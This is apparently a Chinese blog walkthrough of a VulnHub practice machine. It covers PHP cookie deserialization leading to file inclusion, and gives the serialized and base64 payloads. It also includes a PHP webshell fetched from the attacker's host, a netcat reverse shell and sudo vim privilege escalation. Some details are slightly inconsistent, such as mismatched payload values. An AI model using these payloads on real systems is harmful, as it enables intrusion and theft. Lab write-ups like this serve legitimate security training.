vulnhub靶场serial-php渗透(蜥蜴细!)

发布于:2024-08-02 ⋅ 阅读:(37) ⋅ 点赞:(0)

目录

一、信息收集

1.探测主机存活(目标主机IP地址)

2.访问web服务

3.后台目录和端口扫描

4.解析bak.zip源码

二、漏洞利用

1.构造payload

2.通过bp的repeater模块

3.get shell

4.获取反弹shell

三、提升权限

1. 查看系统版本,内核版本。

2. 查看根目录发现存在敏感文件credentials.txt.bak。

3.打开查看是用户名和密码,SSH登录。

4.刚才查看了版本,暂时找不到可提权的漏洞,那么,我们尝试找一下当前用户可执行与无法执行的指令,可以看到vim编辑器对所有用户NOPASSWD。

5.尝试提权,试试sudo vim,进入到命令模式输入!bash。

6.提权成功


一、信息收集

1.探测主机存活(目标主机IP地址)

2.访问web服务

1.首先访问80端口,页面只有一行文本:Hello sk4This is a beta test for new cookie handler,在首页中并未有任何有价值的信息

3.后台目录和端口扫描

开启80和22端口说明可能用到远程连接。

经过扫描后我们我们尝试访问扫描结果对应的目录,结果发现在/backup目录下存在压缩包

4.解析bak.zip源码

下载解压后,存有三个php文件

整理思路: 首次访问网站后,后台会创建一个user对象,并且内部又为wel变量创建welcome对象,同时进行序列化base64编码存入cookie,我们抓一下页面的包,发现cookie。

这里的cookie便是后台通过base64编码后的结果

使用base64解码后得到的结果

O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}7

二、漏洞利用

1.构造payload

由于空格在url地址中无法识别,所以将所有空格转为8进制\x00 同时由于文件包含参数为type_log,所以内容应为文件路径

O:4:“User”:2:{s:10:“\x00User\x00name”;s:3:“sk4”;s:9:“\x00User\x00wel”;O:3:“Log”:1:{s:8:“type_log”;s:11:“/etc/passwd”}}

编码后的payload如下:

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==

2.通过bp的repeater模块

成功访问到信息,可以看到sk4用户属性为/bin/bash

3.get shell

1.构造序列化语句上传shell

<?php @system($_GET['cmd']);?>

2.然后构造payload:

O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:26:"http://本地IP/c.txt";}}

然后进行序列化和base64编码执行。代码如下:

<?php
  class Log {
    private $type_log = "http://192.168.3.222/c.txt";
  }

  class User {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

64编码后的payload:

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MjU6Imh0dHA6Ly8xOTIuMTY4LjU2LjEvc2hlbGwudHh0Ijt9fQ==

3.用burpsuite上传

成功执行一句话木马

4.获取反弹shell

直接使用nc工具来尝试回弹一个shell

在kali中使用nc监听7777端口等待靶机访问

成功回弹!!

三、提升权限

1. 查看系统版本,内核版本。

2. 查看根目录发现存在敏感文件credentials.txt.bak。

3.打开查看是用户名和密码,SSH登录。

4.刚才查看了版本,暂时找不到可提权的漏洞,那么,我们尝试找一下当前用户可执行与无法执行的指令,可以看到vim编辑器对所有用户NOPASSWD。

5.尝试提权,试试sudo vim,进入到命令模式输入!bash。

6.提权成功